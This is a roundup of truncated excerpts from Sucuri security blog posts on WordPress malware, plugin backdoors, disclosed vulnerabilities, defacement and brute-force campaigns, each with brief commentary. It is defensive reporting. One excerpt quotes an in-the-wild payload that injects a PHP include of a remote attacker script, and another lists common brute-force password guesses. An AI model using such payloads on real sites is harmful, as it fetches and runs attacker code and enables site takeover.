A very clever (and hard to detect) method of adding spam links to a site.
Here at Sucuri, we clean WordPress websites every day. There are various types of common malware, but when we stumble upon a different scenario, our research team likes to dig deeper and conduct a complete investigation. A license key is a place where a webmaster might not expect to find an infection, however, in this particular case, this is where we found one.
A Spam Injector Resembling a License Key
A client opened a malware removal ticket reporting some weird spam URLs injected onto their WordPress website. After further investigation into the files in the website, we discovered a hidden encoded spam injector malware in the following theme file:
The attacker formatted the encoded injector to look like a theme’s license key in order to distract the eyes of a less-trained security analyst from suspecting this to be malicious code.
Here is the malware that resembles a license key inside a WordPress theme:
Layers and Layers of Encoding
Not only did the attacker add malware to an “unsuspicious” file, but they also hardly used any encoding to ensure it was well hidden.
The injected code contained a few layers of encoding to further
In this post Sucuri talk about how important activity logs are to improve the security of a WordPress site but also for forensic work.
As a security company, we deal with a lot of compromised websites. Unfortunately, in most cases, we have limited access to customer logs, which is one of the reasons why we don’t offer forensic analysis. Sucuri offers website monitoring, protection, and clean up, but sometimes we go that extra mile and investigate how websites become compromised in the first place. This usually happens when websites become reinfected after a cleanup.
The reinfection itself can be caused by something as simple as a compromised admin user. By resetting the password for all admin users would be a simple fix for this issue.
However, most of the infected websites we clean have no logs to tell us exactly what happened that led to the website compromise.
We recommend having a plugin to log activities on your blog or website. An activity log plugin can:
be an early alert system to let you know if something has gone wrong;
work as a tool to help you keep a close eye on what is happening on your website;
help you investigate the attack vector after.
Having audit logs on a website is mandatory for e-commerce websites to be PCI DSS compliant. Logs are also very helpful when you need to troubleshoot technical
Excellent investigation on a plugin hijacking. Really scary story but so glad quick action was taken.
Last summer we shared a story about the SweetCaptcha WordPress plugin injecting ads and causing malvertising problems for websites that leveraged the plugin. When this plugin was removed from the official WordPress Plugin directory, the authors revived another WordPress account with a long abandoned plugin and uploaded SweetCaptcha as a “new version” of that plugin. In the end of the SweetCaptcha saga, we gave this warning:
It’s quite a common scenario when criminals try to hijack or buy developer accounts of legitimate applications, or pay their developers to add some malicious code into their software, so some benign plugin or application may turn bad after an update — the only thing that protects you is the author reputation and the security screening and approval process in the repository.
This time we’ll tell you of another plugin that turned bad after an update.
Backdoor in Custom Content Type Manager
Custom Content Type Manager (CCTM) is a relatively popular plugin with three years of development, 10,000+ active installs, and a satisfaction rating of 4.8. It helps create custom post types. Website owners find the classical “blog format” too restrictive, use the plugin to add
I don't even have words for this. GoDaddy is becoming an unstoppable behemoth, and that is scary. (And yes, I know where I'm saying this).
Authored by Daniel & Tony We are happy to announce that as of today Sucuri will be joining the GoDaddy family.
This acquisition will bring the best of both worlds. It will allow us to expand our product-line to all GoDaddy customers, while also remaining true to our foundation supporting all our current and future customers.
Since our inception our goal was simple: protect our customers websites – at all costs. This was built on the premise that every website owner should be able to deploy enterprise-grade security, without the enterprise-grade costs. Our approach to achieving this was to build things that delivered real value, while simultaneously staying ahead of the emerging threats.
Joining GoDaddy allows us to achieve this goal at a much larger scale than the one we are currently at. As a product company, this is the greatest challenge!
What Does this Mean for Sucuri?
We will continue to operate as is. What you can expect however are improvements to our processes and more resources to enable us to continue to invest in the things we love – our team, our customers and our product.
What Does this Mean for Sucuri Customers?
There are no changes to our customers.
It's going to be a busy few days with an awful lot of plugins wanting to update.
Multiple WordPress Plugins are vulnerable to Cross-site Scripting (XSS) due to the misuse of the add_query_arg() and remove_query_arg() functions. These are popular functions used by developers to modify and add query strings to URLs within WordPress. The official WordPress Official Documentation (Codex) for these functions was not very clear and misled many plugin developers to use them in an insecure way. The developers assumed that these functions would escape the user input for them, when it does not. This simple detail, caused many of the most popular plugins to be vulnerable to XSS.
To date, this is the list of affected plugins:
Google Analytics by Yoast
All In one SEO
Multiple Plugins from Easy Digital Downloads
Multiple iThemes products including Builder and Exchange
There are probably a few more that we have not listed. If you use WordPress, we highly recommend that you go to your wp-admin dashboard and update any out of date plugins now.
This issue was first identified by Joost from Yoast in one of his plugins (he did
Very detailed and thorough overview of how to understand plugin vulnerabilites. This is particularly relevant in light of the recent forced updates from the WordPress Core team of the WordPress SEO (Yoast) plugin.
The last 7 days have been very busy with a number of vulnerabilities being disclosed on multiple WordPress plugins. Some of them are minor issues, some are more relevant, while others are what we’d categorize as noise. How are you supposed to make sense of all this? To help provide some clarity on the influx of data, we want to provide some insights to help you, the website owner, navigate and understand these vulnerabilities. We will provide a summary and an explanation of the ones that matter and the ones that do not.
The Impact of Roles (Authentication) in Vulnerabiltiies
Contrary to popular belief, just because you hear “SQL Injection”, it doesn’t mean someone can actually hack your site. The real problem comes in remote and unauthenticated attacks. These can lead to mass compromises; compromised can be mean leveraged to distribute malware, spam and can lead to brand reputation issues like getting blacklisted by Google.
When an attack requires an authenticated user, the severity drops. However, it is not that uncommon for sites to allow subscribers to register. So, any vulnerability that requires a subscriber user can also lead to serious issues.
Once a vulnerability requires a
Sucuri has identified active defacement campaigns targeting the REST API content injection vulnerability disclosed a week ago.
WordPress 4.7.2 was released two weeks ago, including a fix for a severe vulnerability in the WordPress REST API. We have been monitoring our WAF network and honeypots closely to see how and when the attackers would try to exploit this issue the wild. In less than 48 hours after the vulnerability was disclosed, we saw multiple public exploits being shared and posted online. With that information easily available, the internet-wide probing and exploit attempts began.
Patches are Not Being Applied
WordPress has an auto-update feature enabled by default and an easy 1-click manual update process, but unfortunately, not everyone is aware of this issue or able to update their site. This is leading to a large number of sites being compromised and defaced.
We are currently tracking 4 different hacking (defacement) groups doing mass scans and exploits attempts across the internet. We see the same IP addresses and defacers hitting almost every one of our honeypots and network.
If google is correct, these defacers seem to be succeeding.
Just for one defacer, which we call Campaign #1, Google alone shows 66,000+ pages compromised:
They started the exploits less than 48 hours ago. We
This guide is basic, but well rounded: it should help the thought about performance and which areas to focus on.
Since launching our website performance testing tool we have been getting a lot of questions about how to improve the speed and performance of WordPress websites. Many website owners are not aware how slow their sites are, so we are excited to help shed some light on the matter. There are a number of different resources available to help you dive into the world of performance optimization. In this article, I want to create a proper foundation for any website owner to start thinking about performance optimization.
This basic guide should help website owners understand how to think about performance and which areas to focus on. This information is designed as a high-level overview, but it is structured so that if you were interested in more data, you can follow the links provided for additional research, details, and tutorials online that help you optimize your website at every layer.
Performance – Core Domains
First, we have to understand that website performance can be divided into three domains. These areas each affect the speed of your website in different ways.
The basic performance principles for each domain can be delineated as follows:
Networking: Reduce distances
This covers more details about security vulnerabilities in WordPress 4.7 & 4.7.1 that just got fixed in 4.7.2. Here its comes from Sucuri who contributed in this finding and a solid good responsible disclosure.
Security Risk: Severe Exploitation Level: Easy/Remote
DREAD Score: 9/10
Vulnerability: Privilege Escalation / Content Injection
Patched Version: 4.7.2
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on WordPress, we discovered was a severe content injection (privilege escalation) vulnerability affecting the REST API. This vulnerability allows an unauthenticated user to modify the content of any post or page within a WordPress site.
We disclosed the vulnerability to the WordPress Security Team who handled it extremely well. They worked closely with us to coordinate the disclosure timeline and get as many hosts and security providers aware and patched before this became public.
A fix for this was silently included on version 4.7.2 along with other less severe issues. This was done intentionally to give everyone time to patch. We are now disclosing the details because we feel there has been enough time for most WordPress users to update their sites.
Are You At Risk?
This privilege escalation vulnerability affects the WordPress REST API that was recently added and enabled
If you or your customers use WP Statistics (plugin is currently installed on 300,000+ websites) then read more about this discovered SQL Injection vulnerability.
Security Risk: Dangerous Exploitation Level: Easy/Remote
DREAD Score: 7/10
Vulnerability: SQL Injection
Patched Version: 12.0.8
As part of a vulnerability research project for our Sucuri Firewall, we have been auditing popular open source projects looking for security issues.
While working on the WordPress plugin WP Statistics, we discovered a SQL Injection vulnerability. This plugin is currently installed on 300,000+ websites.
Are You at Risk?
This vulnerability is caused by the lack of sanitization in user provided data. An attacker with at least a subscriber account could leak sensitive data and under the right circumstances/configurations compromise your WordPress installation.
If you have a vulnerable version installed and your site allows user registration, you are definitely at risk.
WordPress provides an API that enables developers to create content that users can inject to certain pages just using a simple shortcode:
[shortcode atts_1=”test” atts_2=”test”]
Among other functionalities, WP Statistics allows admin users to get detailed information related with the number of visits by just calling the shortcode below:
As you can see on
[note: runs in command line, more suited for developers] -- Use WPScan to scan your site for known vulnerabilities within the WordPress core, plugins, and themes. You can also find out if any weak passwords, users, and security configuration issues are present. This tool uses the WPScan Vulnerability Database (wpvulndb.com). There's detailed tutorials on how to install it, and how to run a scan.
When using WPScan you can scan your WordPress website for known vulnerabilities within the core version, plugins, and themes. You can also find out if any weak passwords, users, and security configuration issues are present. The database at wpvulndb.com is used to check for vulnerable software and the WPScan team maintains the ever-growing list of vulnerabilities. Last time, we taught you how to install WPScan on Mac and Linux.
This time we are going to dive into how to use WPScan with the most basic commands.
Updating WP Scan
You should always update WPScan to leverage the latest database before you scan your website for vulnerabilities.
Open Terminal and change your directory to the wpscan folder we downloaded in the first tutorial:
From this directory we can run a command to pull the latest update from Github, and then another command to update the database.
ruby wpscan.rb --update
You will see the WPScan logo and a note that the the database update has completed successfully.
Scanning for Vulnerabilities
Next we are going to point the WPScan application at your WordPress website. With a few commands we can check your website for vulnerable themes, plugins, and
Interesting how this involves bbPress, but remember boys and girls - always keep your WordPress sites up to date!
Security Risk: Medium Exploitation Level: Medium / Requires from none to some privilege
DREAD Score: 7.0/10
Vulnerability: Stored XSS
Patched Version: 4.8.2
During regular research audits for our Sucuri Firewall (WAF), we discovered a source-based stored Cross-Site Scripting (XSS) vulnerability affecting WordPress 4.8.1.
Are You at Risk?
The vulnerability requires an account on the victim’s site with the Contributor role – or any account in a WordPress installation with bbPress plugin, as long as it has posting capabilities (if anonymous posting is allowed then no account is needed). All WordPress installations are at risk when these conditions are met.
Besides making it possible to hijack the victim’s user account (among other things), if an administrator user is exploited, the entire WordPress installation and underlying server could be fully compromised.
The XSS vector can make a call to an external script that performs a Cross-Site Request Forgery (CSRF) attack. By acting in the behalf of an administrator user, an attacker can send authenticated requests to edit the website’s current PHP code, leading to Remote Command Execution (RCE) and complete takeover.
Scary story on nulled WordPress Plugin or Themes. This story tracks down the real culprit behind all of this and dig really deep.
If you have been following our blog for some time, you know that we regularly warn about risks associated with the use of third-party software on your site. A benign plugin may sneakingly inject ads into your site which cause malvertising problems for the site visitors (e.g. SweetCaptcha). Other plugins may be hijacked by hackers or black hat freelancers too (remember the epic story of Wooranker?). Another common issue is the use of so-called “nulled” premium themes and plugins that usually come with backdoors, hidden links, unwanted ads and even pure malware (e.g CryptoPHP or fake jquery scripts). This time I’ll tell you one more story that combines all the above mentioned problems: nulled plugins, black hat SEO, malvertising, and a software development company that turned to the dark side.
Suspicious gma_footer Code
Recently the lead of our remediation team, Bruno Zanelato, cleaned a site and found this piece of code in one premium WordPress plugin:
Suspicious gma_footer code
The encrypted part decodes to hxxp://cdn .gomafia[.]com. As you might expect, he investigated what’s going on there.
That gma_footer function was hooked to the wp_footer action. As a result,
Krasimir highlights an aspect most of us have probably never considered a security issue - a plugin's domain !
Recently our incident response team had a case in which a website was redirecting users to an external domain. Ad pop-ups were displayed, and some were obviously malicious. For example, below is this Comcast tech support scam pop-up that tried to block a web browser and asked to call their number.
Flexytalk Widget Plugin
Rodrigo Escobar goes a good job showing off some techniques and provide in-depth technical knowledge on how to decode an advanced piece of malware.
When cleaning websites, one of the most complicated parts of our job is ensuring we find all backdoors. Most of the time, attackers inject code into different locations to increase the chances of reinfecting the site and maintaining access for as long as possible. Our research finds that in 67% of the websites we clean, there is at least one backdoor variant. Although we have hundreds of posts on backdoors and their effects, today we want to discuss a few techniques and provide in-depth technical knowledge on how to decode an advanced piece of malware.
This particular infection isn’t new but over the past few months, we have seen an increase in attacks against WordPress & Joomla using a related variant.
After compromising a website, attackers may inject backdoors, web shells, add bogus admin users, and more. A very common characteristic is that either one or more of the following techniques are employed to hide their code – encoding, encryption, and obfuscation.
In the following snippet, attackers added pretty much all three techniques. Let’s go step-by-step through the process of decoding it.
Simplifying the Code
When decoding, it’s very important
Recently discovered: a severe SQL Injection vulnerability allowing an unauthenticated user to grab data from the victim’s website database. If you use NextGen or have a client who does, you might want to read this.
Security Risk: Critical Exploitation Level: Easy/Remote
DREAD Score: 9
Vulnerability: SQL Injection
Patched Version: 2.1.79
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on the WordPress plugin NextGEN Gallery, we discovered a severe SQL Injection vulnerability. This vulnerability allows an unauthenticated user to grab data from the victim’s website database, including sensitive user information.
Are You at Risk?
This vulnerability can be exploited by attackers in at least two different scenarios:
If you use a NextGEN Basic TagCloud gallery on your site, or
If you allow your users to submit posts to be reviewed (contributors). If you fit any of these two cases, you’re definitely at risk.
This issue existed because NextGEN Gallery allowed improperly sanitized user input in a WordPress prepared SQL query, which is basically the same as adding user input inside a raw SQL query. Using this attack vector, an attacker could leak hashed passwords and WordPress secret keys, in certain configurations.
Never trust the input – that is the
Nice Sucuri posts on a hacking technique better than creating new admin users. A legitimate admin user will not be deleted during a cleanup.
When a site gets hacked, the attack doesn’t end with the malicious payload or spam content. Hackers know that most website administrators will clean up the infection and look no further. Many go on to patch vulnerable software, change their passwords, and perform other post-hack steps. All of this is good, but hackers who follow through the sustainment phase of the attack also leave behind ways to easily reinfect the site. After breaking into a website, hackers want to make sure they still have access if the original security hole is closed. Most often, they upload backdoors or create new malicious users. There is also a combination of the two approaches: login bypasses. These allow attackers to gain administrative rights without authentication by using a special parameter in the HTTP request.
WordPress Login Bypass
Recently, we found this buggy bypass code injected into a WordPress wp-login.php file.
Login bypass using the kidsid parameter
The request was placed inside legitimate comments, which made it more suspicious since this trick is only used by malware.
The purpose of this code is to provide an admin user ID for the kidsid parameter when requesting wp-login.php. This allows
Urgent: Massive remote command execution attempts against the latest WordPress REST API vulnerability. Update to WordPress 4.7.2 ASAP!
We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability. These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.
Attacks in the Wild
The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.
For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:
content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
Read this article by Sucuri about a recent hacking attempt on WordPress site, and redirect website to adult site. Must read. Stay careful.
We write a lot about various blackhat SEO hacks on this blog and most of you are already familiar with such things as doorways, cloaking and SEO poisoning. This time we’ll tell you about yet another interesting black hat SEO attack that we’ve been watching for the last year. Let’s begin with symptoms:
When people click on search results in Google, Bing or Yahoo, they get redirected to porn sites. In all other cases the redirections cannot be triggered.
Only real legitimate pages redirect. No new doorways (as it usually happens in pharma and replica spam hacks) are created.
Not all real web pages redirect to porn (e.g. homepages almost never redirect) but those that do, redirect all the time.
This happens to all sort of sites: WordPress, forums, custom, and pure HTML sites.
When webmasters check code of the pages that redirect to porn sites (it’s quite easy to do on pure HTML sites) they do not find anything malicious there.
If they check the same pages with “Fetch as Google” (via Search Console) or in Unmask Parasites, they see that the pages have lots of porn keywords and blocks of 20 links to porn doorways on other similarly hacked sites.
In the blocks of spammy links, we regularly
Bad code written well. Hijack a plugin function, let it continue to work, this lets malicious code have a long life span before anyone notices.
Most authors of website malware usually rely on the same tricks, making it easy for malware researchers to spot obfuscated code, random files that don’t belong, and malicious lines injected at the top of a file. However, it can become difficult when the malware is buried deep within the lines of code on normal files. Why is some malware harder to spot than others?
An attacker’s primary goal is to retain access to an infected site, so they go to great lengths to hide their access methods. There may be hundreds of malicious files that are easy to find. As long as the attacker can regain access, ultimately reinfecting your website, it doesn’t really matter how clever they are in hiding the payload. It’s why it is so important to place extra emphasis in identifying the access vector, most often known as a backdoor.
Hijacking legitimate functions inside plugin files
Recently, we came across strange malware deep within a file, and hidden in an unusual way. The malicious code was hijacking a legitimate function inside the CForms plugin.
At first glance, this plugin file seemed benign because the flagged piece of code was not obviously malicious. On closer inspection, the original plugin function
Rather upsetting the reaction by MailPoet to Sucuri, sadly it won't harm their business perhaps as much as it should, makes you think Full Disclosure might be the way forward for WordPress plugins.
Many don’t know who I am. My name is Tony Perez, I’m the CEO of Sucuri. I have the pleasure of calling this company my family and everyday I work for every person at this company. My partner is Daniel Cid. He is one of the foremost thought leaders in the website security domain, his influence extending far beyond the communities that make up some of the most popular CMS applications today. Together we are building one of the fastest growing Website Security companies in the domain, we have one simple mission, to create a safer web. We are a technology company built by technologists with a special, quirky, idea that we can make a difference.
Many don’t realize that the bedrock of our business is Research, all facets of research. It’s how we stay ahead of the bad guys, or attackers. It’s a responsibility we have, not just to the general public, but one that we owe to our clients – in basic terms, it’s what they pay us for. It’s how we ensure our tools and technologies stay ahead of the rest and what makes us the ideal solution for every website owner, our commitment to the Website Security domain.
This has come to head recently from the huge debacle over the past few weeks in which we
Factors When Put In Place Will Help Solidify And Secure Your WordPress Site From Hackers
Before you freak out, allow me to clarify. It was one of several honeypots we have running. The honeypots are spread across the most commonly employed hosting companies. From Virtual Private Servers (VPS) to shared environments, to managed environments. In most instances we pay and configure them like any other consumer would so that we aren’t given any special treatment. Honey Pot Systems are decoy servers or systems set up to gather information regarding an attacker or intruder into your system… A Honey Pot system is set up to be easier prey for intruders than true production systems but with minor system modifications so that their activity can be logged or traced. The general thought is that once an intruder breaks into a system, they will come back for subsequent visits. During these subsequent visits, additional information can be gathered and additional attempts at file, security and system access on the Honey Pot can be monitored and saved. – SANS
Our goal is simple; we want to better understand the dynamic nature of website security and continue to analyze and interpret attackers’ intentions. Having live sites that we allow to get hacked also keeps us sharp in terms of how
Nice information from a regular report from Sucuri looking at 9,000 infected websites. Looks like WP sites on a decrease overall, but half of WP sites still out of date.
Today we’re releasing our quarterly Hacked Website Report for 2016/Q2. The data in this report is based on compromised websites we worked on, with insights and analysis performed by our Incident Response Team (IRT) and Malware Research Team (MRT). CMS Analysis
Our analysis consisted of over 9,000 infected websites. The graphs below show a side-by-side comparison with our 2016/Q1 report.
The four open-source Content Management Systems (CMS) we focus on in our report include WordPress (78%), Joomla! (14%), Magento (5%), and Drupal (2%).
We dive into specific information about out-of-date software found on websites going through our cleanup process. Some interesting datasets include that WordPress installations were out-of-date 55% of the time while Joomla! (86%), Drupal (84%), and Magento (96%) continue to lead the way with out-of-date software.
We briefly cover specific extensible components within the WordPress platform. As it makes up the largest sampling in our environment (78%), we place special emphasis on the top three plugin vulnerabilities contributing to 22% of WordPress site hacks.
In this report, we also include a new telemetry dataset that shows the most popular WordPress
CTO and Founder of Sucuri, Daniel B. Cid covers new brute force attacks exploiting XMLRPC in WordPress.
Brute force attacks against WordPress have always been very common. In fact, Brute Force attacks against any CMS these days is a common occurrence, what is always interesting however are the tools employed to make it happen. You create a website, because it’s super easy these days, publish the content and within a few weeks people try to repeatedly log in. These login attempts come from botnets, they are automated and their goal is simple “break into as many websites as they can by guessing their passwords.” Once they find one that matches, they take over of the site and use it to distribute malware, spam and similar activities.
Here is a small example, from our own honeypots, where we see hundreds of login attempts per day, trying various combinations:
user: admin, pass: admin
user: admin, pass: 123456
user: admin, pass: 123123
user: admin, pass 112233
user: admin, pass: pass123
The passwords may seem silly, but after going through the most common 200/300 dictionary passwords, they can get into many web sites.
Originally, these brute force attacks always happened via /wp-login.php attempts, lately however they are evolving and now leveraging the XMLRPC wp.getUsersBlogs